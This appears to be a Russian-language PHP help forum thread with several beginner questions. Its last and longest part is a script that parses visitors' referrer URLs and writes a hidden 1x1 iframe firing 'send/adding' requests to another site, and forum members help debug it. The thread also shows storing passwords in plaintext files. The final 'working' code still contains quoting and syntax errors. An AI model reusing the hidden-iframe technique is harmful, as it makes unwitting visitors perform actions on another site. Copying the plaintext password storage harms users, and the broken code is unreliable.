Если для заливки на хост или использовать на HTTP сервере, то нет. Если типа php2exe, то можно подумать
PHP: Warning: require(system/functions.php) [function.require]: failed to open stream: No such file or directory in /home/tora/k/e/l/keltosik/public_html/index.php on line 22 Fatal error: require() [function.require]: Failed opening required 'system/functions.php' (include_path='.:/usr/local/share/pear') in /home/tora/k/e/l/keltosik/public_html/index.php on line 22 Что это значит? и как решить эту проблему.
Тут, как я понимаю, на 22 строчке нужно вместо system/functions.php написать ./system/functions.php UPD: Файл то вообще существует?
Есть простейший код добавления данных из формы в текстовый файл: как сделать так, чтобы при нажатии на кнопку не полностью переписывался текстовый файл, а к уже существующим данным, добавлялись данные вводимые в поля формы?
это ты не отвечаешь а спрашиваешь? Лень назад мотать просто))) пишет нет такого файла по такому пути. попробуй с "/" в начале пути ) Или указать полностью абсолютный путь, или с помощью ".." или "." относительно запущенного скрипта
2Nizhegorodets PHP: file_put_contents("polsov.txt", $_POST["name"] .":". $_POST["password"] . "\n",FILE_APPEND);
PHP: <html> <form method="POST"> <input name="name"> <br> <input type="password" name="password"> <br> <br> <input type="submit" name="register"> </form> </html> <? $name=$_POST['name']; $pass=$_POST['password']; $fp=fopen("file.txt", "a"); $text="$name:$pass"; fputs($fp, $text."\r\n"); fclose($fp); ?> с новой строчки каждое
В принципе это ХТМЛ, но тем не менее такой вопрос, можно ли как нибудь сделать 2-е action "коммады" в форме (form) один к примеру action="post.php"> и action="mailto:">или action="удаленный_рессурс/post.php">.
нет. для этого надо в скрипте, на который стоит action, тобишь в скрипте gol.php если action="gol.php" написать две функции. Тоесть хочешь обрабатывать текст и отсылать его на email, тогда пиши один action и пиши скрипт.php с функцией обработки и отправки на email...
у меня такая проблемка, при переходе с сайта N, нужно считывать обратный адрес, с помощью регулярки вычленить слово после id= и вставив его с исправленной ссылкой во фрейм, записать готовый фрейм в файл 1212.php и перейдя на него выполнить готовую ссылку во фрейме. Фрейм записывает в 1212.php, только ссылку в фрейм не подставляет. Где тут ошибка??? PHP: <?PHP $ref = getenv("HTTP_REFERER"); $filelog = fopen("1212.php","a+"); fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=".$move"></iframe>'); fclose($filelog); $move=preg_replace('/\D+/', 'http://site.ru/msg?send&id=', $ref); $move.="&adding="; header("Location: http://site.ru/1212.php"); ?>
PHP: <?PHP $ref = getenv("HTTP_REFERER"); $filelog = fopen("1212.php","a+"); fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>'); fclose($filelog); $move=preg_replace('/\D+/', 'http://site.ru/msg?send&id=', $ref); $move.="&adding="; header("Location: http://site.ru/1212.php"); ?>
теперь фрейм записывается вообще с пустым сорсом PHP: <iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=""></iframe>
Так ничего удивительного ты записываешь в файл PHP: <iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe> а потом только с переменной $move производишь какие-то непонятные манипуляции... так попробуй: PHP: <?PHP $ref = getenv("HTTP_REFERER"); preg_match("/(?<=send&id=)(.*?)$/", $ref, $id); $filelog = fopen("1212.php","a+"); fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$id[0].'"></iframe>'); fclose($filelog); header("Location: 1212.php"); ?> Тогда в 1212.php запишется PHP: <iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="тут ИД который спарсили"></iframe>
вопрос исчерпан, заработал в таком виде, спасибо PHP: <?PHP error_reporting (0); $filename = '1212.php; unlink($filename); $ref = getenv("HTTP_REFERER"); $move=preg_replace('/\D+/', 'http://site.ru/msg?send&id=', $ref); $move.="&adding="; $filelog = fopen("1212.php","a+"); fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=".$move"></iframe>'); fclose($filelog); header("Location: http://site.ru/1212.php"); ?>